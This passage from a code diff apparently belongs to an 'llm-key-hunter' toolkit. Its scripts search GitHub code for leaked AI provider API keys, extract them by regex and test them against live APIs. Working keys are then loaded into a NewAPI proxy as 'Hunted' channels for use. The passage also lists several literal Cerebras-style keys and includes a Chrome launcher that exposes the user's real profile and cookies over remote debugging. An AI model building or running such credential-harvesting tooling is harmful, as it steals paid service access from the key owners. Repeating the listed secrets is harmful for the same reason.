|
||||
},
|
||||
"Cerebras": {
|
||||
"csk-dpvv4653fh4rk2k9y2p2nyhjvy8jw6wyp66xcrykvj33nkj4",
|
||||
"csk-j99xk9m6kr5x5nfmkwdrm3jmctwh6eh3pvcm9ymmy293emhp",
|
||||
"csk-kppj54cwjmefpw8mj9x9w3ey9yx9yvh64jw3ek9m5prm9d3v",
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def gh_search(query, per_page=50):
|
||||
"""Search GitHub code via curl."""
|
||||
import urllib.parse
|
||||
encoded = urllib.parse.quote(query)
|
||||
url = f"https://api.github.com/search/code?q={encoded}&per_page={per_page}"
|
||||
try:
|
||||
req = urllib.request.Request(url)
|
||||
req.add_header("Authorization", f"token {GH_TOKEN}")
|
||||
req.add_header("Accept", "application/vnd.github.v3+json")
|
||||
req.add_header("User-Agent", _UA)
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
data = json.loads(resp.read())
|
||||
return [item["html_url"] for item in data.get("items", [])]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
"""Fetch raw file content from GitHub."""
|
||||
raw_url = url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
try:
|
||||
req = urllib.request.Request(raw_url)
|
||||
req.add_header("User-Agent", _UA)
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
return resp.read().decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def verify_key(provider, key, timeout=15):
|
||||
"""Verify a key."""
|
||||
if provider == "Cohere":
|
||||
url = "https://api.cohere.com/compatibility/v1/chat/completions"
|
||||
model = "command-r-plus-08-2024"
|
||||
else:
|
||||
url = "https://api.cerebras.ai/v1/chat/completions"
|
||||
model = "zai-glm-4.7"
|
||||
|
||||
payload = json.dumps({
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 5,
|
||||
}).encode()
|
||||
req = urllib.request.Request(url, data=payload, method="POST")
|
||||
req.add_header("Authorization", f"Bearer {key}")
|
||||
req.add_header("Content-Type", "application/json")
|
||||
req.add_header("User-Agent", _UA)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return True, "OK"
|
||||
except urllib.error.HTTPError as e:
|
||||
raw = e.read()
|
||||
try:
|
||||
err = json.loads(raw)
|
||||
msg = err.get("message", "") or err.get("error", {}).get("message", "")
|
||||
except Exception:
|
||||
msg = f"HTTP {e.code}"
|
||||
return False, msg[:80]
|
||||
except Exception as e:
|
||||
return False, str(e)[:80]
|
||||
|
||||
|
||||
def hunt(provider):
|
||||
print(f"\n{'='*60}")
|
||||
print(f" {provider}")
|
||||
print(f"{'='*60}")
|
||||
|
||||
queries = QUERIES[provider]
|
||||
pattern = PATTERNS[provider]
|
||||
existing = EXISTING[provider]
|
||||
|
||||
# Phase 1: Search
|
||||
print(f"\n [1/3] Searching ({len(queries)} queries)...")
|
||||
urls = set()
|
||||
for i, q in enumerate(queries):
|
||||
results = gh_search(q)
|
||||
new = len(set(results) - urls)
|
||||
urls.update(results)
|
||||
print(f" [{i+1}/{len(queries)}] {q[:45]:47s} → {len(results):3d} files (+{new})")
|
||||
time.sleep(1.5)
|
||||
|
||||
print(f"\n Total: {len(urls)} unique files")
|
||||
|
||||
# Phase 2: Extract (concurrent fetching)
|
||||
print(f"\n [2/3] Fetching & extracting ({len(urls)} files, concurrent)...")
|
||||
all_keys = set()
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futures = {pool.submit(fetch_raw, url): url for url in urls}
|
||||
done = 0
|
||||
for future in as_completed(futures):
|
||||
done += 1
|
||||
content = future.result()
|
||||
if not content:
|
||||
continue
|
||||
for m in pattern.finditer(content):
|
||||
k = m.group()
|
||||
if k not in existing:
|
||||
if provider == "Cohere" and re.match(r'^[0-9a-f]{40}$', k):
|
||||
continue
|
||||
all_keys.add(k)
|
||||
if done % 50 == 0:
|
||||
print(f" Fetched {done}/{len(urls)} files, {len(all_keys)} keys so far")
|
||||
|
||||
print(f" Extracted: {len(all_keys)} unique candidate keys")
|
||||
|
||||
# Phase 3: Verify
|
||||
print(f"\n [3/3] Verifying {len(all_keys)} keys...")
|
||||
good = []
|
||||
with ThreadPoolExecutor(max_workers=12) as pool:
|
||||
futures = {pool.submit(verify_key, provider, k): k for k in all_keys}
|
||||
for future in as_completed(futures):
|
||||
key = futures[future]
|
||||
ok, msg = future.result()
|
||||
if ok:
|
||||
good.append(key)
|
||||
print(f" ✅ {key[:40]}... WORKING!")
|
||||
print(f"\n ✅ {provider}: {len(good)} new working keys")
|
||||
return good
|
||||
|
||||
|
||||
def main():
|
||||
cohere_good = hunt("Cohere")
|
||||
cerebras_good = hunt("Cerebras")
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(" RESULTS")
|
||||
print(f"{'='*60}")
|
||||
print(f"\n Cohere: {len(cohere_good)} new keys")
|
||||
for k in cohere_good:
|
||||
print(f" {k}")
|
||||
print(f"\n Cerebras: {len(cerebras_good)} new keys")
|
||||
for k in cerebras_good:
|
||||
print(f" {k}")
|
||||
|
||||
if cohere_good or cerebras_good:
|
||||
print(f"\n{'='*60}")
|
||||
print(" Adding to NewAPI")
|
||||
print(f"{'='*60}")
|
||||
sys.path.insert(0, os.path.dirname(__file__))
|
||||
from newapi_client import add_channel, TYPE_OPENAI
|
||||
|
||||
if cohere_good:
|
||||
ch = {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "Cohere-Hunted",
|
||||
"key": "\n".join(cohere_good),
|
||||
"base_url": "https://api.cohere.com/compatibility/v1",
|
||||
"models": "command-r-plus-08-2024,command-r-08-2024,command-a-03-2025,command-a,c4ai-aya-expanse-32b",
|
||||
"group": "default",
|
||||
}
|
||||
s, m = add_channel(ch, mode="multi_to_single")
|
||||
print(f" Cohere-Hunted ({len(cohere_good)} keys) {'✅' if s else '❌'} {m}")
|
||||
|
||||
if cerebras_good:
|
||||
ch = {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "Cerebras-Hunted",
|
||||
"key": "\n".join(cerebras_good),
|
||||
"base_url": "https://api.cerebras.ai/v1",
|
||||
"models": "zai-glm-4.7,gemma-4-31b,gpt-oss-120b",
|
||||
"group": "default",
|
||||
}
|
||||
s, m = add_channel(ch, mode="multi_to_single")
|
||||
print(f" Cerebras-Hunted ({len(cerebras_good)} keys) {'✅' if s else '❌'} {m}")
|
||||
else:
|
||||
print("\n No new working keys found.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Import all usable keys into NewAPI - one channel per key.
|
||||
|
||||
Channel name format: <Provider>_<last4ofkey>
|
||||
No merging/pooling - each key gets its own channel.
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
# Add scripts dir to path for imports
|
||||
SCRIPTS_DIR = Path(__file__).resolve().parent.parent
|
||||
sys.path.insert(0, str(SCRIPTS_DIR))
|
||||
|
||||
from newapi_client import (
|
||||
add_channel, list_channel_names,
|
||||
TYPE_OPENAI, TYPE_ANTHROPIC,
|
||||
)
|
||||
|
||||
# ── Provider configs ────────────────────────────────────────────
|
||||
PROVIDER_CONFIGS = {
|
||||
"ZhipuAI": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://open.bigmodel.cn/api/paas/v4",
|
||||
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
|
||||
},
|
||||
"VolcanoArk": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://ark.cn-beijing.volces.com/api/v3",
|
||||
"models": (
|
||||
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
|
||||
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
|
||||
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
|
||||
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
|
||||
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
|
||||
"deepseek-v4-pro-260425,glm-5-2-260617"
|
||||
),
|
||||
},
|
||||
"MiniMax": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.minimaxi.com/v1",
|
||||
"models": "MiniMax-M2.5,MiniMax-M3,MiniMax-M2.7",
|
||||
},
|
||||
"DashScope": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://dashscope.aliyuncs.com/compatible-mode/v1",
|
||||
"models": "qwen-plus,qwen-turbo,qwen-max,qwen3.7max",
|
||||
},
|
||||
"LongCat": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.longcat.chat/openai",
|
||||
"models": "LongCat-2.0",
|
||||
},
|
||||
"SiliconFlow": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.siliconflow.cn/v1",
|
||||
"models": "Qwen/Qwen2.5-7B-Instruct,deepseek-ai/DeepSeek-V3",
|
||||
},
|
||||
"DeepSeek": {
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.deepseek.com/v1",
|
||||
"models": "deepseek-chat,deepseek-reasoner",
|
||||
},
|
||||
}
|
||||
|
||||
USABLE_FILE = Path(__file__).parent / "llm-key-hunter" / "results" / "deep_verify" / "usable.txt"
|
||||
|
||||
|
||||
def load_usable_keys():
|
||||
"""Load usable keys from file. Returns list of (provider, key, url, desc)."""
|
||||
keys = []
|
||||
with open(USABLE_FILE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 2:
|
||||
provider = parts[0]
|
||||
key = parts[1]
|
||||
url = parts[2] if len(parts) > 2 else ""
|
||||
desc = parts[3] if len(parts) > 3 else ""
|
||||
keys.append((provider, key, url, desc))
|
||||
return keys
|
||||
|
||||
|
||||
def build_channel(provider, key):
|
||||
"""Build a channel dict for a single key."""
|
||||
cfg = PROVIDER_CONFIGS.get(provider)
|
||||
if not cfg:
|
||||
return None
|
||||
|
||||
last4 = key[-4:]
|
||||
name = f"{provider}_{last4}"
|
||||
|
||||
return {
|
||||
"type": cfg["type"],
|
||||
"name": name,
|
||||
"key": key,
|
||||
"base_url": cfg["base_url"],
|
||||
"models": cfg["models"],
|
||||
"group": "default",
|
||||
}
|
||||
|
||||
|
||||
def import_single_channel(provider, key):
|
||||
"""Import a single key as a channel. Returns (name, success, message)."""
|
||||
channel = build_channel(provider, key)
|
||||
if not channel:
|
||||
return (channel["name"] if channel else "?", False, f"Unknown provider: {provider}")
|
||||
|
||||
name = channel["name"]
|
||||
try:
|
||||
success, message = add_channel(channel, mode="single")
|
||||
return (name, success, message)
|
||||
except Exception as e:
|
||||
return (name, False, str(e))
|
||||
|
||||
|
||||
def main():
|
||||
keys = load_usable_keys()
|
||||
print(f"Loaded {len(keys)} usable keys")
|
||||
|
||||
# Check existing channel names for dedup
|
||||
try:
|
||||
existing = list_channel_names()
|
||||
print(f"Existing channels: {len(existing)}")
|
||||
except Exception as e:
|
||||
print(f"Warning: Could not list existing channels: {e}")
|
||||
existing = set()
|
||||
|
||||
# Filter out providers we don't have configs for
|
||||
to_import = []
|
||||
skipped = []
|
||||
for provider, key, url, desc in keys:
|
||||
cfg = PROVIDER_CONFIGS.get(provider)
|
||||
if not cfg:
|
||||
skipped.append((provider, key))
|
||||
continue
|
||||
last4 = key[-4:]
|
||||
name = f"{provider}_{last4}"
|
||||
if name in existing:
|
||||
skipped.append((provider, key))
|
||||
continue
|
||||
to_import.append((provider, key))
|
||||
|
||||
if skipped:
|
||||
print(f"Skipping {len(skipped)} keys (unknown provider or duplicate name)")
|
||||
print(f"To import: {len(to_import)} channels")
|
||||
|
||||
# Import with concurrency (but not too high - NewAPI might rate limit)
|
||||
success_count = 0
|
||||
fail_count = 0
|
||||
start = time.time()
|
||||
|
||||
with ThreadPoolExecutor(max_workers=8) as pool:
|
||||
futures = {
|
||||
pool.submit(import_single_channel, provider, key): (provider, key)
|
||||
for provider, key in to_import
|
||||
}
|
||||
|
||||
for i, future in enumerate(as_completed(futures), 1):
|
||||
provider, key = futures[future]
|
||||
name, success, message = future.result()
|
||||
|
||||
if success:
|
||||
success_count += 1
|
||||
print(f" [{i}/{len(to_import)}] ✓ {name}")
|
||||
else:
|
||||
fail_count += 1
|
||||
print(f" [{i}/{len(to_import)}] ✗ {name}: {message}")
|
||||
|
||||
elapsed = time.time() - start
|
||||
print(f"\n=== Import complete ({elapsed:.1f}s) ===")
|
||||
print(f" Success: {success_count}")
|
||||
print(f" Failed: {fail_count}")
|
||||
print(f" Skipped: {len(skipped)}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+129
@@ -0,0 +1,129 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Launch Chrome with remote debugging enabled for CDP capture.
|
||||
|
||||
.DESCRIPTION
|
||||
Starts Chrome with --remote-debugging-port so the CDP capture tool can
|
||||
connect and observe all browser activity.
|
||||
|
||||
.PARAMETER Port
|
||||
Remote debugging port (default: 9222)
|
||||
|
||||
.PARAMETER UseRealProfile
|
||||
Use your real Chrome profile (with logins, cookies, etc.)
|
||||
WARNING: Chrome must be fully closed first.
|
||||
|
||||
.PARAMETER ProfileDir
|
||||
Custom profile directory path. Defaults to a separate profile if not specified.
|
||||
|
||||
.PARAMETER Url
|
||||
Starting URL (default: about:blank)
|
||||
|
||||
.EXAMPLE
|
||||
.\launch-chrome.ps1
|
||||
Launches Chrome with a fresh profile on port 9222
|
||||
|
||||
.EXAMPLE
|
||||
.\launch-chrome.ps1 -UseRealProfile
|
||||
Launches Chrome with your real profile (closes existing Chrome first)
|
||||
|
||||
.EXAMPLE
|
||||
.\launch-chrome.ps1 -Port 9223 -Url "https://example.com"
|
||||
Custom port and starting URL
|
||||
#>
|
||||
|
||||
param(
|
||||
[int]$Port = 9222,
|
||||
[switch]$UseRealProfile,
|
||||
[string]$ProfileDir = "",
|
||||
[string]$Url = "about:blank"
|
||||
)
|
||||
|
||||
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||
|
||||
if (-not (Test-Path $chromePath)) {
|
||||
# Try other common locations
|
||||
$altPaths = @(
|
||||
"$env:ProgramFiles\Google\Chrome\Application\chrome.exe",
|
||||
"$env:ProgramFiles(x86)\Google\Chrome\Application\chrome.exe",
|
||||
"$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe"
|
||||
)
|
||||
foreach ($p in $altPaths) {
|
||||
if (Test-Path $p) { $chromePath = $p; break }
|
||||
}
|
||||
if (-not (Test-Path $chromePath)) {
|
||||
Write-Host "❌ Chrome not found!" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
# Determine user data directory
|
||||
if ($UseRealProfile) {
|
||||
# Check if Chrome is running
|
||||
$chromeProcs = Get-Process chrome -ErrorAction SilentlyContinue
|
||||
if ($chromeProcs) {
|
||||
Write-Host "⚠️ Chrome is running. Closing it to use your real profile..." -ForegroundColor Yellow
|
||||
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\User Data"
|
||||
Write-Host "Using real profile: $userDataDir" -ForegroundColor Green
|
||||
} elseif ($ProfileDir -ne "") {
|
||||
$userDataDir = $ProfileDir
|
||||
} else {
|
||||
# Separate profile for capture sessions
|
||||
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\Capture-Profile"
|
||||
Write-Host "Using capture profile: $userDataDir" -ForegroundColor Cyan
|
||||
Write-Host "(Use -UseRealProfile for your real logins/cookies)" -ForegroundColor DarkGray
|
||||
}
|
||||
|
||||
# Launch Chrome
|
||||
$chromeArgs = @(
|
||||
"--remote-debugging-port=$Port",
|
||||
"--user-data-dir=`"$userDataDir`"",
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
$Url
|
||||
)
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "╔══════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
||||
Write-Host "║ Chrome — Remote Debugging Enabled ║" -ForegroundColor Cyan
|
||||
Write-Host "╚══════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host " Port: $Port" -ForegroundColor White
|
||||
Write-Host " Profile: $userDataDir" -ForegroundColor White
|
||||
Write-Host " CDP URL: http://localhost:$Port" -ForegroundColor Green
|
||||
Write-Host ""
|
||||
|
||||
Start-Process -FilePath $chromePath -ArgumentList $chromeArgs
|
||||
|
||||
# Wait for CDP to be ready
|
||||
Write-Host "Waiting for CDP endpoint..." -NoNewline
|
||||
$ready = $false
|
||||
for ($i = 0; $i -lt 30; $i++) {
|
||||
Start-Sleep -Milliseconds 500
|
||||
try {
|
||||
$response = Invoke-RestMethod -Uri "http://localhost:$Port/json/version" -ErrorAction Stop
|
||||
$ready = $true
|
||||
break
|
||||
} catch {
|
||||
Write-Host "." -NoNewline -ForegroundColor DarkGray
|
||||
}
|
||||
}
|
||||
|
||||
if ($ready) {
|
||||
Write-Host " Ready!" -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Chrome is running with CDP on port $Port" -ForegroundColor Green
|
||||
Write-Host "Now run the capture tool:" -ForegroundColor Cyan
|
||||
Write-Host " cd tools\scripts\cdp-capture" -ForegroundColor White
|
||||
Write-Host " node capture.js" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "Or with options:" -ForegroundColor Cyan
|
||||
Write-Host " node capture.js --screenshot --dom --tab=-1" -ForegroundColor White
|
||||
Write-Host ""
|
||||
} else {
|
||||
Write-Host " Timeout!" -ForegroundColor Red
|
||||
Write-Host "Chrome may not have started correctly." -ForegroundColor Red
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Persistent content cache for GitHub raw-file fetching.
|
||||
|
||||
GitHub code search returns the same file over and over across dozens of
|
||||
queries. A blob URL embeds the file's git SHA:
|
||||
|
||||
https://github.com/<owner>/<repo>/blob/<sha>/<path>
|
||||
https://raw.githubusercontent.com/<owner>/<repo>/<sha>/<path>
|
||||
|
||||
That SHA is immutable — once we've fetched a given (repo, path, sha), the
|
||||
bytes can never change, so we never need to crawl it again. For default-
|
||||
branch raw URLs that omit the SHA, we cache by (repo, path) plus a hash of
|
||||
the prior content; the caller can force a revalidation when GitHub reports
|
||||
the file changed, but in practice the hunters only fetch blob-SHA URLs.
|
||||
|
||||
Cache files live under results/_cache/content/<sharded>.json so a single
|
||||
large file doesn't get rewritten on every save. Each entry:
|
||||
|
||||
key: {"t": epoch, "n": length, "h": sha1[:16], "c": text}
|
||||
|
||||
The big win: `get_cached(repo, path, sha)` returns the stored text
|
||||
immediately when the SHA matches — zero network, zero extraction, and the
|
||||
hunter's dedup logic then skips keys it already pulled out of that file.
|
||||
|
||||
Usage:
|
||||
|
||||
from content_cache import ContentCache
|
||||
cache = ContentCache() # auto-loads results/_cache/content
|
||||
text = cache.get(repo, path, sha)
|
||||
if text is None:
|
||||
text = fetch_raw(url)
|
||||
cache.put(repo, path, sha, text)
|
||||
...
|
||||
cache.save() # or use as context manager
|
||||
|
||||
All public methods are thread-safe.
|
||||
"""
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
DEFAULT_DIR = HERE / "results" / "_cache" / "content"
|
||||
|
||||
|
||||
def _norm_repo(repo):
|
||||
# strip leading "gitee:" or other mirrors consistently; keep as-is otherwise
|
||||
return (repo or "").strip().lower()
|
||||
|
||||
|
||||
def _content_hash(text):
|
||||
return hashlib.sha1((text or "").encode("utf-8", "replace")).hexdigest()[:16]
|
||||
|
||||
|
||||
class ContentCache:
|
||||
"""In-memory + on-disk cache of fetched file contents keyed by blob."""
|
||||
|
||||
def __init__(self, cache_dir=None, force=False):
|
||||
self.dir = Path(cache_dir) if cache_dir else DEFAULT_DIR
|
||||
self.dir.mkdir(parents=True, exist_ok=True)
|
||||
self.force = force or os.environ.get("NO_CONTENT_CACHE") == "1"
|
||||
self._lock = threading.RLock()
|
||||
# repo_lower -> { path: { sha_or_branch: entry } }
|
||||
self._data = {}
|
||||
self._dirty = False
|
||||
self.hits = 0
|
||||
self.misses = 0
|
||||
self.bytes_served = 0
|
||||
self._load()
|
||||
|
||||
# ── persistence ────────────────────────────────────────────
|
||||
def _shard_path(self, repo):
|
||||
# one json file per repo keeps saves small and collision-free
|
||||
safe = "".join(c if c.isalnum() or c in "._-" else "_" for c in repo)
|
||||
if not safe:
|
||||
safe = "_misc"
|
||||
return self.dir / f"{safe}.json"
|
||||
|
||||
def _load(self):
|
||||
if self.force:
|
||||
return
|
||||
for p in self.dir.glob("*.json"):
|
||||
try:
|
||||
d = json.loads(p.read_text())
|
||||
except Exception:
|
||||
continue
|
||||
# file shape: {"repo": ..., "files": {path: {sha: entry}}}
|
||||
repo = _norm_repo(d.get("repo", p.stem))
|
||||
files = d.get("files")
|
||||
if isinstance(files, dict):
|
||||
self._data.setdefault(repo, {}).update(files)
|
||||
|
||||
def save(self, repo=None):
|
||||
with self._lock:
|
||||
if not self._dirty:
|
||||
return
|
||||
targets = [repo] if repo else list(self._data.keys())
|
||||
for r in targets:
|
||||
r = _norm_repo(r)
|
||||
files = self._data.get(r)
|
||||
if not files:
|
||||
continue
|
||||
tmp = self._shard_path(r).with_suffix(".tmp")
|
||||
tmp.write_text(json.dumps(
|
||||
{"repo": r, "files": files}, ensure_ascii=False))
|
||||
os.replace(tmp, self._shard_path(r))
|
||||
self._dirty = False
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc):
|
||||
self.save()
|
||||
|
||||
# ── core API ───────────────────────────────────────────────
|
||||
def get(self, repo, path, sha=None):
|
||||
"""Return cached text for (repo, path, sha) or None.
|
||||
|
||||
If `sha` is given, a match requires the exact blob SHA. If `sha` is
|
||||
None (a branch-tip URL), returns the most recent cached content for
|
||||
that path regardless of SHA — useful only as a cheap pre-screen.
|
||||
"""
|
||||
if self.force:
|
||||
return None
|
||||
r = _norm_repo(repo)
|
||||
path = (path or "").strip()
|
||||
with self._lock:
|
||||
files = self._data.get(r)
|
||||
if not files:
|
||||
return None
|
||||
versions = files.get(path)
|
||||
if not versions:
|
||||
return None
|
||||
if sha:
|
||||
ent = versions.get(sha)
|
||||
else:
|
||||
# branch URL: return newest version we have
|
||||
ent = max(versions.values(),
|
||||
key=lambda e: e.get("t", 0), default=None)
|
||||
if not ent:
|
||||
return None
|
||||
self.hits += 1
|
||||
self.bytes_served += ent.get("n", 0)
|
||||
return ent.get("c", "")
|
||||
|
||||
def put(self, repo, path, sha, text, ttl=None):
|
||||
"""Store fetched text. Empty/None text is not cached (avoids
|
||||
permanently poisoning a transient fetch failure)."""
|
||||
if self.force:
|
||||
return
|
||||
if text is None or not isinstance(text, str) or text == "":
|
||||
return
|
||||
r = _norm_repo(repo)
|
||||
path = (path or "").strip()
|
||||
with self._lock:
|
||||
self._data.setdefault(r, {}).setdefault(path, {})[sha or "_branch"] = {
|
||||
"t": time.time(),
|
||||
"n": len(text),
|
||||
"h": _content_hash(text),
|
||||
"c": text,
|
||||
}
|
||||
self._dirty = True
|
||||
self.misses += 1
|
||||
|
||||
def has(self, repo, path, sha):
|
||||
"""Fast existence check without pulling the (potentially large)
|
||||
content string into the caller."""
|
||||
if self.force:
|
||||
return False
|
||||
r = _norm_repo(repo)
|
||||
with self._lock:
|
||||
return bool(self._data.get(r, {}).get(path, {}).get(sha))
|
||||
|
||||
def stats(self):
|
||||
with self._lock:
|
||||
repos = len(self._data)
|
||||
files = sum(len(v) for v in self._data.values())
|
||||
blobs = sum(len(vers) for v in self._data.values()
|
||||
for vers in v.values())
|
||||
return {"repos": repos, "files": files, "blobs": blobs,
|
||||
"hits": self.hits, "misses": self.misses,
|
||||
"bytes_served": self.bytes_served}
|
||||
|
||||
|
||||
def parse_raw_url(url):
|
||||
"""Split a raw.githubusercontent or github blob URL into
|
||||
(repo, sha, path). Returns (None, None, None) if not parseable."""
|
||||
u = (url or "").strip()
|
||||
# raw: https://raw.githubusercontent.com/<owner>/<repo>/<sha>/<path>
|
||||
if "raw.githubusercontent.com/" in u:
|
||||
part = u.split("raw.githubusercontent.com/", 1)[1]
|
||||
seg = part.split("/", 3)
|
||||
if len(seg) >= 4:
|
||||
return f"{seg[0]}/{seg[1]}", seg[2], seg[3]
|
||||
return None, None, None
|
||||
# blob: https://github.com/<owner>/<repo>/blob/<sha>/<path>
|
||||
if "github.com/" in u and "/blob/" in u:
|
||||
part = u.split("github.com/", 1)[1]
|
||||
seg = part.split("/", 4)
|
||||
# owner, repo, 'blob', sha, path
|
||||
if len(seg) >= 5 and seg[2] == "blob":
|
||||
return f"{seg[0]}/{seg[1]}", seg[3], seg[4]
|
||||
return None, None, None
|
||||
@@ -0,0 +1,314 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Combine old + new live keys, filter false positives, and run deep verification.
|
||||
|
||||
Uses urllib instead of spawning curl subprocesses per key.
|
||||
"""
|
||||
|
||||
import time
|
||||
import json
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from collections import defaultdict
|
||||
|
||||
RESULTS_DIR = Path(__file__).parent / "results"
|
||||
OLD_LIVE = RESULTS_DIR / "live_keys_raw.txt.bak"
|
||||
NEW_LIVE = RESULTS_DIR / "live_keys_raw.txt"
|
||||
COMBINED_LIVE = RESULTS_DIR / "live_keys_combined.txt"
|
||||
DEEP_USABLE = RESULTS_DIR / "deep_verify" / "usable.txt"
|
||||
DEEP_NOBAL = RESULTS_DIR / "deep_verify" / "valid_no_balance.txt"
|
||||
DEEP_NOACC = RESULTS_DIR / "deep_verify" / "valid_no_access.txt"
|
||||
DEEP_DEAD = RESULTS_DIR / "deep_verify" / "dead.txt"
|
||||
|
||||
# ── Deep verify configs ──────────────────────────────────────
|
||||
DEEP_CONFIGS = {
|
||||
"OpenAI": {
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"Anthropic": {
|
||||
"url": "https://api.anthropic.com/v1/messages",
|
||||
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01", "Content-Type": "application/json"},
|
||||
"body": '{"model":"claude-3-5-haiku-20241022","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"Google": {
|
||||
"url": "https://generativelanguage.googleapis.com/v1beta/models/gemini-1.5-flash:generateContent?key={key}",
|
||||
"headers": {"Content-Type": "application/json"},
|
||||
"body": '{"contents":[{"parts":[{"text":"hi"}]}],"generationConfig":{"maxOutputTokens":1}}',
|
||||
},
|
||||
"Groq": {
|
||||
"url": "https://api.groq.com/openai/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"llama-3.1-8b-instant","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"DeepSeek": {
|
||||
"url": "https://api.deepseek.com/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"deepseek-chat","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"OpenRouter": {
|
||||
"url": "https://openrouter.ai/api/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"meta-llama/llama-3.1-8b-instruct","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"Replicate": {
|
||||
"url": "https://api.replicate.com/v1/account",
|
||||
"headers": {"Authorization": "Token {key}"},
|
||||
"body": None,
|
||||
},
|
||||
"Perplexity": {
|
||||
"url": "https://api.perplexity.ai/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"llama-3.1-8b-online","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"DashScope": {
|
||||
"url": "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"qwen-plus","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"Moonshot": {
|
||||
"url": "https://api.moonshot.cn/v1/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"moonshot-v1-8k","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
},
|
||||
"VolcanoArk": {
|
||||
"url": "https://ark.cn-beijing.volces.com/api/v3/chat/completions",
|
||||
"headers": {"Authorization": "Bearer {key}", "Content-Type": "application/json"},
|
||||
"body": '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":1}',
|
||||
"fallback": {
|
||||
"url": "https://ark.cn-beijing.volces.com/api/coding/v1/messages",
|
||||
